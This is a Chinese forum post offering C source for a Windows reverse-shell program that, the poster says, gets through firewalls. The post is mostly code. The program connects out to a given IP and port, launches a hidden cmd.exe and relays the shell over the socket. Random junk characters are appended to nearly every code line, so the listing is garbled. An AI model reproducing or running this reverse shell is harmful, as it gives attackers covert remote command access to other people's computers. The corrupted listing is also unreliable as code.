社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5469阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uthW AT &  
|8CxMs  
/* ============================== Fnak:R0  
Rebound port in Windows NT Ez|NQ:o  
By wind,2006/7 3JQ7Cc>  
===============================*/ *4%pXm;  
#include E Ou[X'gLr  
#include ) dk|S\  
q`r| DcN~  
#pragma comment(lib,"wsock32.lib") v%cCJ SO#  
B_ict)}ld  
void OutputShell(); . KLEx]f.  
SOCKET sClient; rN|=cn  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p =nbsS~":  
o FP8s[B  
void main(int argc,char **argv) E5rV}>(Y  
{ fV>d_6Lf}  
WSADATA stWsaData; oMg-.!6  
int nRet; Gl'G;F$Y-  
SOCKADDR_IN stSaiClient,stSaiServer; W/BPf{U  
0}e?hbF%U  
if(argc != 3) /.7RWy`  
{ Pp!4Ak4TT9  
printf("Useage:\n\rRebound DestIP DestPort\n"); ZtO$kK%q;  
return; 8k-]u3  
} I?PqWG!O  
EB!ne)X  
WSAStartup(MAKEWORD(2,2),&stWsaData); nX3?7"v  
?lD)J?j  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;&CLb`<y  
g?"QahH G  
stSaiClient.sin_family = AF_INET; 7!cLTq  
stSaiClient.sin_port = htons(0); \_,p@r]Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TSewq4`K  
V5ZC2H  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I9G^T' W  
{ tIDN~[1  
printf("Bind Socket Failed!\n");  :2nsi4  
return; $T3_~7N  
} xgcJEox!  
ni{'V4A  
stSaiServer.sin_family = AF_INET; V:y6NfL7i'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,V!"4 T,Z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9F[3B`w  
Hh;lT  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Lq>lj`>  
{ *tj(,:!  
printf("Connect Error!"); 3ArHaAv{y  
return; .%n_{ab1  
} ,o n]Fts  
OutputShell(); W{'hn&vU  
} R]%"YQ V  
7P3pjgh  
void OutputShell() @U=y}vi8  
{ %r1#G.2YW  
char szBuff[1024]; &,G2<2_b  
SECURITY_ATTRIBUTES stSecurityAttributes; ZH\t0YhrVe  
OSVERSIONINFO stOsversionInfo; \;N+PE  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o+{,>t  
STARTUPINFO stStartupInfo; AA[1[  
char *szShell; Jfr'OD2$ %  
PROCESS_INFORMATION stProcessInformation; WT,I~'r=S  
unsigned long lBytesRead; 5n2!Y\  
C lf;+G0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {H[N|\  
&6OY ^6<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); af | mk@  
stSecurityAttributes.lpSecurityDescriptor = 0; 6k;5T   
stSecurityAttributes.bInheritHandle = TRUE; "|Q.{(|kO1  
E<+ G5j  
bdstxjJ`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :5/Ue,~ag  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +'g O%^{l  
BkB _?^Nv8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M}[Q2v\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rs"=o>Qu  
stStartupInfo.wShowWindow = SW_HIDE; 6 agG*x  
stStartupInfo.hStdInput = hReadPipe; {rMf/RAE  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B1|nT?}J(  
xK_UkB-$i  
GetVersionEx(&stOsversionInfo); z9IW&f~~P  
VI4mEq,V  
switch(stOsversionInfo.dwPlatformId) c>D~MCNxg  
{ u=InE|SH  
case 1: ;&J>a8B$  
szShell = "command.com"; >xo<i8<Miv  
break; y%%VJ}'X!  
default: >gzM-d  
szShell = "cmd.exe"; [?7QmZK  
break; :1qLRr  
} K!CVS7  
?1\I/ 'E9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3v_j*wy  
#Q7:Mu+  
send(sClient,szMsg,77,0); L^t%p1R  
while(1) .B~yI3D`M  
{ B)@Xz<Q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KdozB!\  
if(lBytesRead) aPxSC>p  
{ 9~Sa7P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); agwbjkU/  
send(sClient,szBuff,lBytesRead,0); 7WmLC  
} H][TH2H1  
else wT!?.Y)aj  
{ `uPO+2  
lBytesRead=recv(sClient,szBuff,1024,0); xL_QTj  
if(lBytesRead<=0) break; wry`2_c  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ."dT6uE  
} 9J7yR}2-F  
} 5(CInl  
Td|,3 n  
return; BEb?jRMjLg  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八